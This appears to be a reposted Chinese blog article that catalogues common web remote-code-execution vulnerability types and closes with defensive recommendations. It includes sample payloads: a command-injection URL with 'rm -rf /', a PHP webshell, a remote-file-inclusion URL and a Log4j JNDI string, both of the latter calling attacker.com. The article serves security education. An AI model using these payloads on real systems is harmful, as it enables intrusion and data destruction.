欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 养生 > 【Web RCE 漏洞常见类型】

【Web RCE 漏洞常见类型】

2025/6/13 21:02:21 来源:https://blog.csdn.net/u013672940/article/details/145804580  浏览:    关键词:【Web RCE 漏洞常见类型】

Web RCE 漏洞常见类型

  • 1. 注入类漏洞
  • 2. 反序列化漏洞
  • 3. 文件处理漏洞
  • 4. 模板引擎漏洞
  • 5. 服务端请求伪造(SSRF)
  • 6. 框架/中间件漏洞
  • 7. 第三方组件漏洞
  • 8. 配置不当与协议滥用
  • 9. 其他边缘场景
  • 防御建议

以下是可以导致远程代码执行(RCE)的常见 Web 漏洞类型及示例,按类别分类整理:

1. 注入类漏洞

  • 命令注入
    用户输入直接拼接到系统命令中(如 ;|&&),攻击者注入恶意命令。
    示例:http://example.com/ping?ip=127.0.0.1;rm -rf /

  • 代码注入
    用户输入被动态执行(如 eval()exec())。
    示例:PHP 中 eval($_GET['code']) 允许执行任意 PHP 代码。

  • 表达式语言注入
    在 Java EL、OGNL 或 SpEL 中注入表达式。
    示例:Apache Struts 漏洞(如 S2-045)通过 OGNL 表达式执行代码。

2. 反序列化漏洞

  • 不安全反序列化
    反序列化未经验证的数据触发恶意逻辑。
    示例:Java 中 ObjectInputStream 反序列化恶意对象(如 Apache Commons Collections 漏洞)。

3. 文件处理漏洞

  • 文件上传漏洞
    上传恶意文件(如 .php.jsp)并访问触发执行。
    示例:上传 PHP WebShell(<?php system($_GET['cmd']); ?>)。

  • 远程文件包含(RFI)
    动态包含远程文件执行代码。
    示例:http://example.com/?page=http://attacker.com/shell.php

4. 模板引擎漏洞

  • 服务端模板注入(SSTI)
    用户输入嵌入模板引擎执行代码。
    示例:Jinja2 中 {{ 7*7 }} 测试,注入 {{ ''.__class__.__mro__[1].__subclasses__() }} 执行命令。

5. 服务端请求伪造(SSRF)

结合内部服务漏洞触发 RCE。
示例:通过 SSRF 攻击 Redis,写入计划任务或 WebShell。

6. 框架/中间件漏洞

  • 已知框架漏洞
    未修补的公开漏洞直接导致 RCE。
    示例:

    • Log4j(CVE-2021-44228):${jndi:ldap://attacker.com/exp}
    • Apache Struts(S2-045):OGNL 表达式注入。
    • Spring4Shell(CVE-2022-22965):通过数据绑定攻击。
  • Web 服务器漏洞
    示例:

    • Tomcat CVE-2017-12615:PUT 方法上传恶意 JSP。
    • Shellshock(CVE-2014-6271):通过 HTTP 头注入 Bash 命令。

7. 第三方组件漏洞

  • 依赖库漏洞
    使用含 RCE 漏洞的第三方库。
    示例:
    • Fastjson 反序列化漏洞(CVE-2022-25845)。
    • PHP 的 phar 反序列化。

8. 配置不当与协议滥用

  • 危险协议处理
    允许 gopher://file:// 等协议导致代码执行。
    示例:利用 PHP 的 file_put_contents('phar://...') 触发反序列化。

  • 启用危险函数
    PHP 配置中未禁用 exec()system() 等函数。

9. 其他边缘场景

  • HTTP 头注入
    结合服务器解析漏洞执行命令(如 Apache mod_cgi)。
  • 缓冲区溢出
    Web 服务底层组件(如旧版 IIS)存在溢出漏洞。

防御建议

  1. 对所有输入进行严格验证和过滤。
  2. 避免直接拼接用户输入到命令或代码中。
  3. 禁用危险函数(如 eval()system())。
  4. 及时更新框架、中间件和依赖库。
  5. 限制文件上传类型,并存储到不可执行目录。
  6. 配置安全的反序列化机制(如白名单验证)。

以上漏洞均可能直接或间接导致远程代码执行,实际利用需结合具体环境。建议通过渗透测试和自动化工具(如 DAST/SAST)持续检测。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词